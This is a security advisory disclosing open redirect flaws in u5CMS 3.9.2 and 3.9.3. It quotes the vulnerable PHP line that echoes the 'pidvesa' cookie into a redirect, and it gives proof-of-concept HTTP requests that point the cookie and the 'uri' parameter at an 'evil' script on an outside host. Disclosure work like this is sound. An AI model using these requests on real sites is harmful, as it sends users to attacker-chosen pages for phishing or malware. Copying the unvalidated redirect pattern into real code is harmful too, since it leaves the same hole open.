? u5CMS 3.9.3 Multiple Open Redirect Vulnerabilities Vendor: Stefan P. Minder Product web page: http://www.yuba.ch Affected version: 3.9.3 and 3.9.2 Summary: u5CMS is a little, handy Content Management System for medium-sized websites, conference / congress / submission administration, review processes, personalized serial mails, PayPal payments and online surveys based on PHP and MySQL and Apache. Desc: Input passed via the 'uri' GET parameter in 'meta2.php' script and using Cookie 'pidvesa' is not properly verified before being used to redirect users. This can be exploited to redirect a user to an arbitrary website e.g. when a user clicks a specially crafted link to the affected script hosted on a trusted domain. ============================================================================== \u5admin\pidvesa.php: --------------------- Line 5: if ('<?php echo $_COOKIE['pidvesa']?>'!='') location.href='<?php echo $_COOKIE['pidvesa']?>'+'.php'; ============================================================================== Tested on: Apache 2.4.10 (Win32) PHP 5.6.3 MySQL 5.6.21 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5227 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5227.php 29.12.2014 --- #1 This request example adds '.php' at the end to the pidvesa cookie value: GET /u5cms/u5admin/pidvesa.php HTTP/1.1 Host: 10.0.50.3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=mkmhuo3gquomkki4lurhap45o3; aclan=de; pidvesa=http://zeroscience.mk/evil/script; Connection: keep-alive - To redirect to: http://zeroscience.mk/evil/script.php -- #2 GET /u5cms/u5admin/meta2.php?uri=http://zeroscience.mk HTTP/1.1